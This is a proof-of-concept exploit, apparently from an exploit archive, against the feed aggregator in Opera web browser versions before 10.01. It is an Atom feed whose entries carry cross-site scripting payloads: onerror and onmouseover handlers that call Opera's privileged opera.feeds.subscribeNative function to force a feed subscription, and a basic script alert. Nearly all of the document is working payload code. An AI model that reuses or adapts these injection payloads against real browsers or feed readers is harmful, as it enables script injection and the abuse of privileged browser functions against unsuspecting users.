Opera Web浏览器10.01之前版本多个安全漏洞

                                                <?xml version="1.0" encoding="utf-8"?>
<feed
  xmlns="http://www.w3.org/2005/Atom"
  xml:base="http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom">
  <id>http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom</id>
  <title>Feed Injection in Opera 10 Feed Aggregator</title>
  <updated>2009-09-09T00:00:00Z</updated>
  <link href="/wp" />
  <link rel="self" href="" />
  <author><name>Inferno</name></author>
  <contributor>
    <name>Inferno</name>
    <div xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
      This exploit will inject this feed in Opera's inbuilt feed aggregator
    </div>
  </contributor>
 
  <entry>
    <title>Feed Injector 1</title>
    <id>http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#1</id>
    <link href="http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#1"/>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><img src="http://google.com" onerror="opera.feeds.subscribeNative(location.href)"></img>
    </div></content>
    <updated>2009-09-09T00:00:00Z</updated>
  </entry>
  
  <entry>
    <title>Feed Injector 2</title>
    <id>http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#2</id>
    <link href="http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#2"/>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><p onmouseover="opera.feeds.subscribeNative(location.href)">Mouse over me</p>
    </div></content>
    <updated>2009-09-09T00:00:00Z</updated>
  </entry>
  
    <entry>
    <title>Feed Injector 3</title>
    <id>http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#3</id>
    <link href="http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#3"/>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><a href="http://google.com" onmouseover="opera.feeds.subscribeNative(location.href)">Mouse over me</a>
    </div></content>
    <updated>2009-09-09T00:00:00Z</updated>
   </entry>
  
  <entry>
    <title>Basic Script</title>
    <id>http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#4</id>
    <link href="http://www.securethoughts.com/security/rssatomxss/opera10exploit2.atom#4"/>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><script>window.alert('XSS #1')</script></div></content>
    <updated>2009-09-09T00:00:00Z</updated>
  </entry>
</feed>